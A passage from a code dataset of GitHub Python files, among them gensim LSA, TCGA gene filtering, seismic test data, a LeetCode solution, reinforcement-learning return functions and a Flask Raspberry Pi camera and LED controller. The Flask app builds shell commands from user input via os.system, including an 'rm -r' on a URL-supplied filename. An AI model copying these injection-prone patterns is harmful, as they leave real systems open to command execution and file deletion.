torch.nn.Module, *args, **kwargs) -> graphviz.Digraph:\n symbolic_traced: torch.fx.GraphModule = torch.fx.symbolic_trace(model)\n ResultProbe(symbolic_traced).run(*args, **kwargs)\n symbolic_traced.graph.print_tabular()\n graph = graphviz.Digraph(\"model\", format=\"svg\", node_attr={\"shape\": \"plaintext\"})\n for node in symbolic_traced.graph.nodes:\n single_node(model, graph, node)\n return graph\n\n\ndef _test():\n torch.set_grad_enabled(False)\n import networks\n\n model = networks.DISCNet(cond_in_channels=3)\n graph = model_graph(model, torch.randn(1, 3, 512, 512), torch.randn(1, 3, 512, 512))\n graph.render(directory=\"test\", view=True)\n\n\nif __name__ == \"__main__\":\n _test()\n","repo_name":"budui/flare_removal_pytorch","sub_path":"tools/module_graph.py","file_name":"module_graph.py","file_ext":"py","file_size_in_byte":4652,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"82"}
+{"seq_id":"40885707613","text":"# coding:utf8\r\n\r\n\"\"\"\r\nDescription:LSA/LSI 潜在语义分析/索引\r\nAuthor:伏草惟存\r\nPrompt: code in Python3 env\r\n\"\"\"\r\n\r\nfrom mydict import *\r\nfrom gensim import corpora, models\r\nfrom gensim.models.doc2vec import Doc2Vec, TaggedDocument\r\nimport pickle as pkl\r\n# python的pickle模块实现了基本的数据序列和反序列化。\r\n# 通过pickle模块的序列化操作我们能够将程序中运行的对象信息保存到文件中去,永久存储。\r\n# 通过pickle模块的反序列化操作,我们能够从文件中创建上一次程序保存的对象。\r\n\r\n'''\r\n作者:黄小猿\r\n主题模型(LDA)(一)--通俗理解与简单应用\r\nhttps://blog.csdn.net/qq_39422642/article/details/78730662\r\n\r\n什么是LDA?\r\n它是一种无监督的贝叶斯模型。\r\n是一种主题模型,它可以将文档集中的每篇文档按照概率分布的形式给出。\r\n是一种无监督学习,在训练时不需要手工标注的训练集,需要的是文档集和指定主题的个数。\r\n是一种典型的词袋模型,它认为一篇文档是由一组词组成的集合,词与词之间没有顺序和先后关系。\r\n'''\r\n\r\n# LSA 潜在语义分析\r\ndef gensim_Corpus(corpus=None):\r\n dictionary = corpora.Dictionary(corpus)\r\n # 1 doc_bow转化成tfidf向量\r\n doc_bow_corpus = [dictionary.doc2bow(doc_cut) for doc_cut in corpus]\r\n tfidf_model = models.TfidfModel(dictionary=dictionary) # 生成tfidf模型\r\n tfidf_corpus = [tfidf_model[doc_bow] for doc_bow in doc_bow_corpus] # 将每doc_bow转换成对应的tfidf_doc向量\r\n print('doc_bow转换成对应的tfidf_doc向量:\\n',tfidf_corpus)\r\n\r\n # 2 生成lsi model\r\n lsi_model = models.LsiModel(corpus=tfidf_corpus, id2word=dictionary, num_topics=10)\r\n # 转换成lsi向量\r\n lsi_corpus = [lsi_model[tfidf_doc] for tfidf_doc in tfidf_corpus]\r\n print('LSA生成主题:\\n',lsi_corpus)\r\n\r\n # 3 将lsi模型存储到磁盘上\r\n savepath =r'../dataSet/files/lsi_model.pkl'\r\n lsi_file = open(savepath, 'wb')\r\n pkl.dump(lsi_model, lsi_file)\r\n lsi_file.close()\r\n print('--- lsi模型已经生成 ---')\r\n\r\n\r\nif __name__=='__main__':\r\n # corpus参数样例数据如下:\r\n corpus,classVec = loadDataSet()\r\n gensim_Corpus(corpus)\r\n","repo_name":"bainingchao/DataProcess","sub_path":"GensimVec/LSA.py","file_name":"LSA.py","file_ext":"py","file_size_in_byte":2258,"program_lang":"python","lang":"zh","doc_type":"code","stars":64,"dataset":"github-code","pt":"82"}
+{"seq_id":"8820253946","text":"#STEP 14\r\n# https://github.com/puolival/multipy is used\r\n#from statsmodels.stats.tests.test_multi import fdrcorrection\r\nfrom multipy.fdr import lsu\r\nfrom multipy.data import neuhaus\r\nimport numpy as np\r\nimport os\r\ndef step14():\r\n\tprint ('step 14 start')\r\n\ttry:\r\n\t\tff = \"data/SNA_driver_gene_list_FDR5.tsv\"\r\n\t\tif os.path.exists(ff) and os.path.getsize(ff) > 1024:\r\n\t\t\tpass\r\n\t\telse:\r\n\t\t\tp = []\r\n\t\t\tgenes = []\r\n\t\t\twith open(\"data/SNA_classification_genes_NSEI_HISR_Pvalues.tsv\",'r') as f:\r\n\t\t\t\tf.readline()\r\n\t\t\t\tfor line in f:\r\n\t\t\t\t\tgenes.append(line.split(\"\\t\")[0])\r\n\t\t\t\t\tp.append(float(line.split(\"\\t\")[-1]))\r\n\t\t\tp = np.array(p)\r\n\t\t\t#p_fdr = fdrcorrection(p, alpha=0.05)\r\n\r\n\t\t\tp1 = lsu(p, q=0.05)\r\n\t\t\ttrue = []\r\n\t\t\tfor i in range (len(p)):\r\n\t\t\t\tif p1[i] == True:\r\n\t\t\t\t\ttrue.append(genes[i])\r\n\r\n\t\t\twith open(\"data/SNA_classification_genes_NSEI_HISR_Pvalues.tsv\",'r') as f:\r\n\t\t\t\twith open(\"data/SNA_driver_gene_list_FDR5.tsv\",'w') as out:\r\n\t\t\t\t\tout.write(f.readline())\r\n\t\t\t\t\tfor line in f:\r\n\t\t\t\t\t\tif line.split(\"\\t\")[0] in true:\r\n\t\t\t\t\t\t\tout.write(line)\r\n\texcept:\r\n\t\tprint ('check your file in data/ to execute script')","repo_name":"belikov-av/SNADRIF","sub_path":"step_14.py","file_name":"step_14.py","file_ext":"py","file_size_in_byte":1115,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"9904746190","text":"# https://leetcode.com/problems/valid-palindrome/\n# https://leetcode.com/problems/valid-palindrome/submissions/1097932406/\nclass Solution:\n chars = ()\n def isPalindrome(self, s: str) -> bool:\n def ignore_char(char:str) -> bool:\n return char.isalnum() == False or char == ' '\n\n start = 0\n end = len(s) - 1\n\n if end <= 0:\n return True # empty string\n\n\n\n while start <= end:\n beginning_char = s[start].lower()\n end_char = s[end].lower()\n\n if ignore_char(beginning_char):\n start = start + 1\n continue\n if ignore_char(end_char):\n end = end - 1\n continue\n\n if beginning_char != end_char:\n return False\n\n else:\n start += 1\n end -= 1\n\n return True\n\n # cheese way lol\n # return input == input[:-1]\n\n\nprint(Solution().isPalindrome(\"race a car\"))\n","repo_name":"Rash20000/leetcode","sub_path":"Two Pointers/valid-palindrome.py","file_name":"valid-palindrome.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"19443381281","text":"import segyio\nimport numpy as np\nimport sys\n\n\ndef create_varsize(path, ilines_number, xlines_number, samples_number):\n \"\"\" File with provided dimensions filled wih some data\"\"\"\n spec = segyio.spec()\n\n spec.sorting = 2\n spec.format = 1\n spec.ilines = range(int(ilines_number))\n spec.xlines = range(int(xlines_number))\n spec.samples = range(int(samples_number))\n\n print(\"Creating file with dimensions {}:{}:{}\".format(\n ilines_number, xlines_number, samples_number))\n\n # We use scaling constant of -10, meaning that values will be divided by 10\n # note that lines are not perpendicular\n il_step_x = int(1.1 * 10)\n il_step_y = int(0 * 10)\n xl_step_x = int(0 * 10)\n xl_step_y = int(3.3 * 10)\n ori_x = int(1 * 10)\n ori_y = int(3 * 10)\n\n with segyio.create(path, spec) as f:\n data = -5\n tr = 0\n for il in spec.ilines:\n for xl in spec.xlines:\n f.header[tr] = {\n segyio.su.iline: il,\n segyio.su.xline: xl,\n segyio.su.cdpx:\n (il - spec.ilines[0]) * il_step_x +\n (xl - spec.xlines[0]) * xl_step_x +\n ori_x,\n segyio.su.cdpy:\n (il - spec.ilines[0]) * il_step_y +\n (xl - spec.xlines[0]) * xl_step_y +\n ori_y,\n segyio.su.scalco: -10,\n }\n data = data + 0.00001\n f.trace[tr] = np.linspace(\n start=data, stop=data+2, num=len(spec.samples), dtype=np.single)\n tr += 1\n\n f.bin.update(tsort=segyio.TraceSortingFormat.INLINE_SORTING)\n\n\nif __name__ == \"__main__\":\n path = sys.argv[1]\n ilines = sys.argv[2]\n xlines = sys.argv[3]\n samples = sys.argv[4]\n create_varsize(path, ilines, xlines, samples)\n","repo_name":"equinor/vds-slice","sub_path":"testdata/varsize/make_varsize.py","file_name":"make_varsize.py","file_ext":"py","file_size_in_byte":1914,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"82"}
+{"seq_id":"42643246017","text":"from django.urls import path\nfrom questions import views\n\napp_name = 'questions'\nurlpatterns = [\n path('', views.QuestionDetailAPI.as_view(), name='question_detail'),\n # path('student_exams', views.StudentExamPrivateListAPI.as_view(), name='student_exam_detail'),\n # path('submit', views.SubmitExamAPI.as_view()),\n path('create', views.CreateQuestionAPI.as_view()),\n path('edit', views.EditQuestionAPI.as_view()),\n path('questions-by-teacher', views.GetQuestionsByTeacher.as_view()),\n path('questions-teacher-remain', views.GetQuestionsByTeacherRemain.as_view()),\n path('add-to-exam', views.AddToExam.as_view())\n\n]","repo_name":"Natsu1270/Ucourse","sub_path":"UCourse/questions/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"}
+{"seq_id":"13376102511","text":"#!/usr/bin/env python\n\nimport argparse\nfrom timedomain.filters import *\nfrom timedomain.iterators import *\nfrom timedomain.sp_utils import *\nimport sys\n\n\n__version__=0.1\n\ndef main(args):\n \"\"\" Main entry point of the app \"\"\"\n print(\"Start \", args)\n logic = getattr(sys.modules[__name__], args.logic)\n iterator = getattr(sys.modules[__name__], args.iterator)\n\n # make this none for results to appear in the notebook\n spdf = [\"diff\",logic.__name__,args.subdir,args.trunk,args.date]\n for pspectra0,pspectra1 in iterator(args.date,subdir=args.subdir,trunk=args.trunk, verbose=True):\n # which of these are real targets\n triggered, diff = logic.filter(pspectra0,pspectra1, norm=True,ston_cut=5)\n\n # plot triggered objects\n if triggered.sum() > 0:\n\n wheretriggered = np.where(triggered)[0]\n\n for sig in wheretriggered.flat:\n SkyPortal.postCandidate(sig, diff.fibermap)\n targetid = diff.fibermap['TARGETID'].data[sig].astype('str')\n SkyPortal.postSpectra(targetid, diff)\n SkyPortal.postSpectra(targetid, pspectra0)\n SkyPortal.postSpectra(targetid, pspectra1)\n logic.plotter(sig,pspectra0, pspectra1, diff, savepdf=spdf)\n print(\"End\")\n \nif __name__ == \"__main__\":\n \n # ./diff.py 20201223 CVLogic Date_SpectraPairs_Iterator daily coadd\n # ./diff.py 20201223 CVLogic Date_TargetPairs_Iterator daily spectra\n \n# date = \"20201223\"\n# subdir = 'daily'\n# trunk='coadd'\n \"\"\" This is executed when run from the command line \"\"\"\n parser = argparse.ArgumentParser()\n\n # Required positional argument\n parser.add_argument(\"date\", help=\"Required positional argument\")\n parser.add_argument(\"logic\", help=\"Required positional argument\") \n parser.add_argument(\"iterator\", help=\"Required positional argument\")\n parser.add_argument(\"subdir\", help=\"Required positional argument\")\n parser.add_argument(\"trunk\", help=\"Required positional argument\")\n \n \n #If there are more than 1 obsdate, provide a 2D array\n parser.add_argument('-o', '--obsdates_tilenumbers', nargs='+', type=str,default=None,\n help='str array with columns obsdate, tilenumber, separated by |')\n \n # Optional argument flag which defaults to False\n# parser.add_argument('-f', '--flag', action=\"store_true\", default=False)\n\n # Optional argument which requires a parameter (eg. -d test)\n# parser.add_argument(\"-n\", \"--name\", action=\"store\", dest=\"name\")\n# parser.add_argument('-i','--iargs', nargs='+', action=\"store\", dest=\"iargs\")\n\n\n # Optional verbosity counter (eg. -v, -vv, -vvv, etc.)\n# parser.add_argument(\n# '-v',\n# '--verbose',\n# action='count',\n# default=0,\n# help=\"Verbosity (-v, -vv, etc)\")\n\n# # Specify output of '--version'\n# parser.add_argument(\n# '--version',\n# action='version',\n# version='%(prog)s (version {version})'.format(version=__version__))\n\n args = parser.parse_args()\n main(args)","repo_name":"desihub/timedomain","sub_path":"timedomain/bin/diff.py","file_name":"diff.py","file_ext":"py","file_size_in_byte":3098,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"}
+{"seq_id":"24008418879","text":"from flask import Flask, render_template, make_response, request, url_for, redirect\nimport random\nimport sys\nimport os\nimport glob\n\napp = Flask(__name__)\n\n@app.route('/')\ndef temp_page():\n response = make_response(render_template('main.html',\n camera = url_for('camera'), led = url_for('led'), water = url_for('water')))\n return response\n \n@app.route('/camera')\ndef camera():\n response = make_response(render_template('camera.html',\n camera_1 = url_for('camera_1'), camera_2 = url_for('camera_2'),\n camera_3 = url_for('camera_3'), camera_4 = url_for('camera_4'),\n camera_5 = url_for('camera_5'), back = url_for('temp_page')))\n return response\n\n@app.route('/led')\ndef led():\n response = make_response(render_template('led.html',\n led_1 = url_for('led_1'), led_2 = url_for('led_2'),\n led_3 = url_for('led_3'), back = url_for('temp_page')))\n return response\n\n@app.route('/water')\ndef water():\n response = make_response(render_template('water.html',\n water_1 = url_for('water_1'), water_2 = url_for('water_2'),\n water_3 = url_for('water_3'), back = url_for('temp_page')))\n return response\n\n@app.route('/camera_1')\ndef camera_1():\n\n pictures = glob.glob(os.path.join(os.getcwd(), \"static/img/*.jpg\"))\n i=0\n for picture in pictures:\n pictures[i] = os.path.basename(pictures[i])\n i+=1\n pictures.sort()\n\n response = make_response(render_template('picture_list.html', back = url_for('camera'),\n image = url_for('image'), pictures = pictures))\n return response\n\n@app.route('/camera_2')\ndef camera_2():\n os.system(os.path.join(os.getcwd(), \"static/img/camera\"))\n\n pictures = glob.glob(os.path.join(os.getcwd(), \"static/img/*.jpg\"))\n i=0\n for picture in pictures:\n pictures[i] = os.path.basename(pictures[i])\n i+=1\n pictures.sort()\n\n response = make_response(render_template('catch.html', picture = url_for('temp_page')+\"static/img/\"+pictures[len(pictures)-1],\n back = url_for('camera')))\n return response\n\n@app.route('/camera_3')\ndef camera_3():\n return redirect(url_for('minute'))\n\n@app.route('/camera_4')\ndef camera_4():\n os.system(\"crontab -r\")\n f = open(\"camera.txt\", 'w')\n f.close()\n what = 'c'\n response = make_response(render_template('cancle.html', back = url_for('camera'), what = 'C'))\n return response\n\n@app.route('/camera_5')\ndef camera_5():\n f = open(\"camera.txt\", 'r')\n minute = \"\"\n hour = \"\"\n week = \"\"\n check = 0\n asc = f.read()\n if len(asc) == 0:\n response = make_response(render_template('time_of_camera_fail.html'), back=url_for('camera'))\n return response\n while asc[check] != ' ':\n check = check + 1\n minute = asc[0:check]\n asc = asc[check+1:]\n check = 0\n while asc[check] != ' ':\n check = check + 1\n hour = asc[0:check]\n asc = asc[check+5:]\n check = 0\n while asc[check] != ' ':\n check = check + 1\n week = asc[0:check]\n\n response = make_response(render_template('time_of_camera.html'), week=week, hour=hour, minute=minute,\n back = url_for('camera'))\n return response\n\n@app.route('/image')\n@app.route('/image/')\ndef image(name):\n response = make_response(render_template('image.html', name=name, delete=url_for('delete_page'),\n list=url_for('camera_1'), back=url_for('temp_page')))\n return response\n\n@app.route('/delete_page')\n@app.route('/delete_page/')\ndef delete_page(name):\n response = make_response(render_template('delete_page.html', delete=url_for('delete'),\n name=name, list=url_for('camera_1')))\n return response\n\n@app.route('/delete')\n@app.route('/delete/')\ndef delete(name):\n os.system(\"rm -r ./static/img/\"+name)\n return redirect(url_for('camera_1'))\n\n@app.route('/minute')\ndef minute():\n response = make_response(render_template('minute.html', cal = url_for('minute_cal')))\n return response\n\n@app.route('/minute_cal', methods=['POST'])\ndef minute_cal():\n f = open(\"camera.txt\", 'w')\n\n list = request.form.getlist('o[]')\n str = \"\"\n\n if list:\n start = 1\n str = str + list[0]\n while start < len(list):\n str = str + \",\" + list[start]\n start = start + 1\n else:\n str = \"*\"\n\n f.write(str)\n\n f.close()\n return redirect(url_for('hour'))\n\n@app.route('/hour')\ndef hour():\n response = make_response(render_template('hour.html', cal = url_for('hour_cal')))\n return response\n\n@app.route('/hour_cal', methods=['POST'])\ndef hour_cal():\n f = open(\"camera.txt\", 'a')\n f.write(\" \")\n\n list = request.form.getlist('o[]')\n str = \"\"\n\n if list:\n start = 1\n str = str + list[0]\n while start < len(list):\n str = str + \",\" + list[start]\n start = start + 1\n else:\n str = \"*\"\n\n f.write(str)\n\n f.close()\n return redirect(url_for('week'))\n\n@app.route('/week')\ndef week():\n response = make_response(render_template('week.html', cal = url_for('week_cal')))\n return response\n\n@app.route('/week_cal', methods=['POST'])\ndef week_cal():\n f = open(\"camera.txt\", 'a')\n f.write(\" * * \")\n\n list = request.form.getlist('o[]')\n str = \"\"\n\n if list:\n start = 1\n str = str + list[0]\n while start < len(list):\n str = str + \",\" + list[start]\n start = start + 1\n else:\n str = \"*\"\n\n f.write(str+ \" \" +os.path.join(os.getcwd(), \"static/img/camera\\n\"))\n\n f.close()\n os.system(\"crontab -r\")\n os.system(\"crontab camera.txt\")\n return redirect(url_for('camera'))\n\n@app.route('/led_1')\ndef led_1():\n response = make_response(render_template('led_1.html', cal = url_for('led_1_cal')))\n return response\n\n@app.route('/led_2')\ndef led_2():\n os.system(\"/home/pi/embeded/dht -200 100\")\n response = make_response(render_template('cancle.html', back = url_for('led'), what = 'L'))\n return response\n\n@app.route('/led_3')\ndef led_3():\n return redirect(url_for('led'))\n\n@app.route('/led_1_cal', methods=['POST'])\ndef led_2_cal():\n os.system(\"/home/pi/embeded/dht \"+request.form['degree']+\" 100\")\n return redirect('led')\n\n\n@app.route('/water_1')\ndef water_1():\n return redirect(url_for('water'))\n\n@app.route('/water_2')\ndef water_2():\n return redirect(url_for('water'))\n\n@app.route('/water_3')\ndef water_3():\n response = make_response(render_template('cancle.html', back = url_for('water'), what = 'W'))\n return response\n\n@app.route('/water_4')\ndef water_4():\n return redirect(url_for('water'))\n\nif __name__ == \"__main__\":\n app.run(host='0.0.0.0', port=5000)\n","repo_name":"saemm/embedded-caffeinaddicted","sub_path":"hello.py","file_name":"hello.py","file_ext":"py","file_size_in_byte":6873,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"8819441566","text":"# -*- coding: utf-8 -*-\nimport os\nimport argparse\nfrom collections import Counter\nimport shutil\nimport gzip\n\nimport pandas as pd\nimport numpy as np\nfrom tqdm import tqdm\n\nfrom utils.utils import check_filesize, check_hash, download_ftp\n\n\ndef to_patient(barcode):\n return '-'.join(barcode.split('-')[:3])\n\n'''\ndef filter_val(cna_val, other_val):\n if cna_val * other_val > 0:\n if np.abs(cna_val) == 1 or np.abs(other_val) == 1:\n result = 1 * np.sign(cna_val)\n else:\n result = 2 * np.sign(cna_val)\n else:\n result = 0\n return np.int16(result)\n'''\n\ndef filter_val(cna_val, other_val):\n if cna_val * other_val > 0:\n if np.abs(other_val) == 1:\n result = 1 * np.sign(cna_val)\n else:\n result = 2 * np.sign(cna_val)\n else:\n result = 0\n return np.int16(result)\n\n\ndef decide_by_rows(row1, row2):\n row1 = np.array(row1)\n row2 = np.array(row2)\n return np.max([row1, row2], axis=0)\n\n\ndef find_dtypes(df_path):\n with open(df_path, 'r') as df_file:\n first_line = df_file.readline().replace('\\n', '')\n column_names = first_line.split('\\t')\n dtype_dict = {}\n for column in column_names:\n if 'TCGA' in column:\n dtype_dict[column] = np.int16\n else:\n dtype_dict[column] = str\n return dtype_dict\n\n\ndef step12(input_dir: str = 'data', output_folder_path: str = 'data'):\n\n print('Step 12')\n\n cna_path = os.path.join(input_dir, 'ISAR_GISTIC.all_thresholded.by_genes_primary_whitelisted.tsv')\n rna_path = os.path.join(input_dir, 'EBPlusPlusAdjustPANCAN_IlluminaHiSeq_RNASeqV2-v2.geneExp_primary_whitelisted_median.tsv')\n mi_rna_path = os.path.join(input_dir, 'pancanMiRs_EBadjOnProtocolPlatformWithoutRepsWithUnCorrectMiRs_08_04_16_primary_whitelisted_median.tsv')\n gene_annot_path = os.path.join(input_dir, 'Homo_sapiens.gene_info')\n\n if not os.path.isfile(gene_annot_path):\n download_link = 'ftp://ftp.ncbi.nih.gov/gene/DATA/GENE_INFO/Mammalia/Homo_sapiens.gene_info.gz'\n download_ftp(download_link, gene_annot_path+'.gz')\n\n # unzip file\n with gzip.open(gene_annot_path+'.gz', 'rb') as f_in:\n with open(gene_annot_path, 'wb') as f_out:\n shutil.copyfileobj(f_in, f_out)\n\n # remove archive\n os.remove(gene_annot_path+'.gz')\n\n # Check size\n size_pass = check_filesize(gene_annot_path)\n if not size_pass:\n raise Exception(f'file: {gene_annot_path} has wrong size, please check input file and do this step again')\n\n output_file_path = os.path.join(output_folder_path, 'ISAR_GISTIC.all_thresholded.by_genes_primary_whitelisted_RNAfiltered.tsv')\n\n if not os.path.isdir(output_folder_path):\n os.makedirs(output_folder_path)\n\n if not os.path.isfile(output_file_path):\n\n vect_filter_val = np.vectorize(filter_val)\n\n print('Reading gene annotation table')\n required_columns = ['GeneID', 'Symbol', 'Synonyms']\n gene_corresp_df = pd.read_csv(gene_annot_path, sep='\\t', usecols=required_columns)\n\n print('CNA file reading and preprocessing')\n cna_dtypes = find_dtypes(cna_path)\n cna_df = pd.read_csv(cna_path, sep='\\t', header=0, dtype=cna_dtypes)\n cna_df.index = np.array(cna_df['Locus ID'], dtype=int)\n cna_df.drop(columns=['Locus ID'], inplace=True)\n cna_df.rename(columns={'Gene Symbol': 'gene_name'})\n num_columns_cna = len(cna_df.columns)\n cna_df.columns = list(map(to_patient, list(cna_df.columns)))\n cna_df.index.name = 'gene_id'\n\n # not unique genes deduplication\n cna_df = cna_df.loc[cna_df.index.drop_duplicates(keep=False)]\n\n print('RNA file reading and preprocessing')\n rna_dtypes = find_dtypes(rna_path)\n rna_df = pd.read_csv(rna_path, sep='\\t', header=0, dtype=rna_dtypes)\n rna_df.columns = list(map(to_patient, list(rna_df.columns)))\n rna_df.insert(loc=0, column='gene_name', value=[s.split('|')[0].upper() for s in rna_df['gene_id']])\n rna_df['gene_id'] = [int(s.split('|')[1].upper()) for s in rna_df['gene_id']]\n rna_df.index = rna_df['gene_id']\n rna_df.index.name = 'gene_id'\n rna_df.drop(columns=['gene_id'], inplace=True)\n\n # not unique patients investigation\n rna_counter = Counter(list(rna_df.columns))\n not_unique_patients = [patient for patient, count in rna_counter.items() if count > 1]\n # remove those patients\n rna_df.drop(columns=not_unique_patients, inplace=True)\n\n # not unique genes deduplication\n rna_df = rna_df.loc[rna_df.index.drop_duplicates(keep=False)]\n\n # we choose common patients and genes, and apply rule to them\n print('CNA - RNA filtering')\n CNA_RNA_patients = sorted(list(set(rna_df.columns).intersection(set(cna_df.columns))))\n CNA_RNA_genes = sorted(list(set(rna_df.index).intersection(set(cna_df.index))))\n\n #cna_df.loc[CNA_RNA_genes, CNA_RNA_patients] = vect_filter_val(cna_df.loc[CNA_RNA_genes, CNA_RNA_patients],\n # rna_df.loc[CNA_RNA_genes, CNA_RNA_patients])\n cna_df.loc[CNA_RNA_genes, CNA_RNA_patients] = cna_df.loc[CNA_RNA_genes, CNA_RNA_patients]\\\n .combine(rna_df.loc[CNA_RNA_genes, CNA_RNA_patients], vect_filter_val)\n\n print('miRNA file reading and preprocessing')\n mi_rna_dtypes = find_dtypes(mi_rna_path)\n mi_rna_df = pd.read_csv(mi_rna_path, sep='\\t', header=0, dtype=mi_rna_dtypes)\n mi_rna_df.columns = list(map(to_patient, list(mi_rna_df.columns)))\n mi_rna_df['gene_id'] = [x.replace('hsa-', '') for x in mi_rna_df['gene_id']]\n mi_rna_df = mi_rna_df.rename(columns={'gene_id': 'gene_name'})\n mi_rna_df = mi_rna_df.sort_values(by='gene_name')\n mi_rna_df.index = mi_rna_df['gene_name']\n mi_rna_df.drop(columns=['gene_name'], inplace=True)\n\n # find 3-prime, 5-prime pairs\n sorted_gene_names = list(mi_rna_df.index)\n corresp_3_to_5 = dict()\n for row_ix in range(len(sorted_gene_names) - 1):\n if sorted_gene_names[row_ix].replace('3p', '5p') == sorted_gene_names[row_ix + 1]:\n corresp_3_to_5[sorted_gene_names[row_ix]] = sorted_gene_names[row_ix + 1]\n # choose max among them\n for gene_name_3p in corresp_3_to_5:\n gene_name_5p = corresp_3_to_5[gene_name_3p]\n mi_rna_df.loc[gene_name_3p] = decide_by_rows(mi_rna_df.loc[gene_name_3p].values,\n mi_rna_df.loc[gene_name_5p].values)\n # delete unnecessary 5-prime\n indexes_to_delete = list(corresp_3_to_5.values())\n mi_rna_df.drop(index=indexes_to_delete, inplace=True)\n mi_rna_df.index = [x.replace('-3p', '').replace('-5p', '') for x in mi_rna_df.index]\n\n #finally match genes\n corresp_ids = []\n for query_gene in mi_rna_df.index:\n found = False\n for ref_ix, ref_gene_name in enumerate(gene_corresp_df['Symbol']):\n ref_gene_name = ref_gene_name.lower()\n query_gene = query_gene.replace('-', '').lower()\n if 'mir' + query_gene == ref_gene_name or query_gene == ref_gene_name:\n corresp_ids.append(gene_corresp_df['GeneID'][ref_ix])\n found = True\n if not found:\n corresp_ids.append(None)\n\n mi_rna_df = mi_rna_df.reset_index().rename(columns={'index': 'gene_name'})\n mi_rna_df.insert(loc=0, column='gene_id', value=corresp_ids)\n mi_rna_df = mi_rna_df[mi_rna_df['gene_id'].notna()]\n mi_rna_df.index = mi_rna_df['gene_id'].astype(int)\n mi_rna_df = mi_rna_df.drop(columns=['gene_id'])\n\n # not unique patients investigation\n mi_rna_counter = Counter(list(mi_rna_df.columns))\n not_unique_patients = [patient for patient, count in mi_rna_counter.items() if count > 1]\n # remove them\n mi_rna_df.drop(columns=not_unique_patients, inplace=True)\n\n # not unique genes deduplication\n mi_rna_df = mi_rna_df.loc[mi_rna_df.index.drop_duplicates(keep=False)]\n\n\n print('CNA - miRNA filtering')\n CNA_miRNA_patients = sorted(list(set(mi_rna_df.columns).intersection(set(cna_df.columns))))\n CNA_miRNA_genes = sorted(list(set(mi_rna_df.index).intersection(set(cna_df.index))))\n\n #cna_df.loc[CNA_miRNA_genes, CNA_miRNA_patients] = vect_filter_val(cna_df.loc[CNA_miRNA_genes, CNA_miRNA_patients],\n # mi_rna_df.loc[CNA_miRNA_genes, CNA_miRNA_patients])\n cna_df.loc[CNA_miRNA_genes, CNA_miRNA_patients] = cna_df.loc[CNA_miRNA_genes, CNA_miRNA_patients]\\\n .combine(mi_rna_df.loc[CNA_miRNA_genes, CNA_miRNA_patients], vect_filter_val)\n\n print('saving the results')\n cna_df.to_csv(output_file_path, sep = '\\t', header=True, index=True)\n\n # Check for filesize\n size_pass = check_filesize(output_file_path)\n if not size_pass:\n raise Exception(f'file: {output_file_path} has wrong size, please check input file and do this step again')\n\n print('OK')\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='This script takes ' +\n 'ISAR_GISTIC.all_thresholded.by_genes_primary_whitelisted.tsv file (CNA),' + '\\n' + \\\n 'EBPlusPlusAdjustPANCAN_IlluminaHiSeq_RNASeqV2-v2.geneExp_primary_whitelisted_quartiles.tsv file (RNA),' + '\\n' + \\\n 'pancanMiRs_EBadjOnProtocolPlatformWithoutRepsWithUnCorrectMiRs_08_04_16_primary_whitelisted_quartiles.tsv file (miRNA),' \\\n + '\\n' + 'and basically filters CNA file where possible.' + '\\n' + \\\n 'If output folder does not exist, script will create it.')\n parser.add_argument('-i', '--input_dir', type=str, help='full path to input folder', default='data')\n parser.add_argument('-o', '--output_folder', type=str, help='full path to output folder', default='data')\n\n args = parser.parse_args()\n\n step12(args.input_dir , args.output_folder)\n","repo_name":"belikov-av/GECNAV","sub_path":"step_12.py","file_name":"step_12.py","file_ext":"py","file_size_in_byte":10329,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"70483094988","text":"# discounting.py: Discounted return functions\n#\n# (C) 2020, Daniel Mouritzen\n\nfrom typing import Optional, Tuple, Union\n\nimport tensorflow as tf\n\nfrom .general import move_dim, scan\n\n\ndef discounted_return(rewards: tf.Tensor,\n discount: Union[tf.Tensor, float],\n final_value: Optional[tf.Tensor] = None,\n axis: int = 1,\n stop_gradient: bool = True,\n ) -> tf.Tensor:\n \"\"\"\n Calculate discounted return as per this formula:\n V[t] = sum(discount**n * rewards[t+n] for n in range(len(rewards)-t)) + discount**(len(rewards)-t) * final_value\n\n For numerical stability, it is implemented recursively:\n V[last+1] = final_value\n V[t] = rewards[t] + discount * V[t + 1]\n \"\"\"\n if isinstance(discount, (float, int)) or discount.shape.num_elements() == 1:\n if discount == 1:\n return_ = tf.reduce_sum(rewards, axis)\n if final_value is not None:\n return_ += final_value\n return return_\n discount = discount * tf.ones_like(rewards)\n else:\n assert rewards.shape == discount.shape, (rewards.shape, discount.shape)\n if final_value is None:\n final_value = tf.zeros_like(rewards[-1])\n return_ = scan(fn=lambda accumulated, current: current[0] + current[1] * accumulated,\n elems=(rewards, discount),\n initializer=final_value,\n back_prop=not stop_gradient,\n axis=axis,\n reverse=True)\n if stop_gradient:\n return_ = tf.stop_gradient(return_)\n return return_\n\n\ndef lambda_return(rewards: tf.Tensor,\n values: tf.Tensor,\n discount: Union[tf.Tensor, float],\n lambda_: float,\n final_value: Optional[tf.Tensor] = None,\n axis: int = 1,\n stop_gradient: bool = True,\n ) -> tf.Tensor:\n \"\"\"\n Calculate lambda return as per this formula:\n dr(t, n) = discounted_return(reward[t:t + n], discount[t:t + n], values[t + n])[0]\n V[t] = ((1 - lambda_) * sum(lambda_**(n - 1) * dr(t, n) for n in range(1, T - t))\n + lambda_**(T - t - 1) * dr(t, T - t))\n\n For numerical stability, it is implemented recursively:\n V[last+1] = final_value\n V[t] = rewards[t] + discount * ((1 - lambda_) * values[t + 1] + lambda * V[t + 1])\n\n Setting lambda=1 gives a discounted Monte Carlo return.\n Setting lambda=0 gives a fixed 1-step return.\n \"\"\"\n if isinstance(discount, (int, float)) or discount.shape.num_elements() == 1:\n discount = discount * tf.ones_like(rewards)\n assert rewards.shape == values.shape == discount.shape, 'Incompatible shapes!'\n rewards, values, 